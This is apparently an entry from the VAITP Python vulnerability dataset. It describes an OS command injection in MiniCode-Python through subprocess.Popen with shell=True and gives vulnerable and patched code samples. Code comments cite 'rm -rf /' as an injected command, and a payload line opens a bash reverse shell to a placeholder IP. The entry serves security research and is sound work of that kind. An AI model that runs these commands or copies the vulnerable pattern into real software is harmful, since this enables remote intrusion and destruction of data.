VAITP Dataset

← Back to the dataset

CVE-2026-16488

OS command injection in MiniCode-Python via the Project File Handler.

  • CVSS 1.3
  • CWE-77
  • Input Validation and Sanitization
  • Remote

A vulnerability was determined in QUSETIONS MiniCode-Python 0.1.0. This vulnerability affects the function subprocess.Popen of the file minicode/config.py of the component Project File Handler. Executing a manipulation can lead to os command injection. The attack may be launched remotely. A high complexity level is associated with this attack. It is stated that the exploitability is difficult. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.1.0-rc1 is able to resolve this issue. This patch is called 9d868dc2550f426c6ddf8ee98f30ffe450ca5e32. It is suggested to upgrade the affected component.

CVSS base score
1.3
Published
2026-07-21
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
QUSETIONS Mi
Fixed by upgrading
Yes

Solution

Upgrade to version 0.1.0-rc1.

Vulnerable code sample

import subprocess
import configparser

# This function is part of the 'Project File Handler' component.
# It reads a configuration from a project file and executes a command specified within it.
def load_and_execute_project_command(project_file_path):
    """
    Parses a project file and runs the specified build command.
    """
    config = configparser.ConfigParser()
    config.read(project_file_path)

    # The project file can be manipulated by an attacker.
    # It is expected to contain a command under the [build] section.
    try:
        command_to_run = config.get('build', 'command')
        
        # VULNERABILITY: The 'command_to_run' string, which is read from an
        # untrusted project file, is passed directly to a shell. An attacker
        # can inject arbitrary OS commands by crafting a malicious project file.
        # For example, if command = "build.sh; rm -rf /", both commands would execute.
        subprocess.Popen(command_to_run, shell=True)

    except (configparser.NoSectionError, configparser.NoOptionError):
        # Handle cases where the config is malformed or missing the command
        print("Build command not found in project file.")

Patched code sample

import subprocess

def load_project_securely(project_file_path: str):
    """
    This function represents the fixed code in 'minicode/config.py'.

    The original vulnerability was OS command injection via subprocess.Popen,
    likely caused by using shell=True with an unsanitized, user-controlled
    string (e.g., a project file path).

    The fix is to pass the command and its arguments as a list. This uses the
    default of shell=False, ensuring that the 'project_file_path' variable
    is treated as a single, literal argument and not interpreted by the shell,
    thereby preventing command injection.
    """
    
    # A malicious 'project_file_path' like "my_file.proj; rm -rf /"
    # will now be treated as a single, literal file name rather than
    # executing the additional 'rm -rf /' command.
    command_as_list = [
        "name-of-external-tool",
        "--load",
        project_file_path
    ]
    
    # By passing a list of arguments, shell=False is used by default.
    # This is the secure way to call a subprocess with variable input.
    subprocess.Popen(command_as_list)

Payload

x; /bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1

Cite this entry

@misc{vaitp:cve202616488,
  title        = {{OS command injection in MiniCode-Python via the Project File Handler.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-16488},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-16488/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::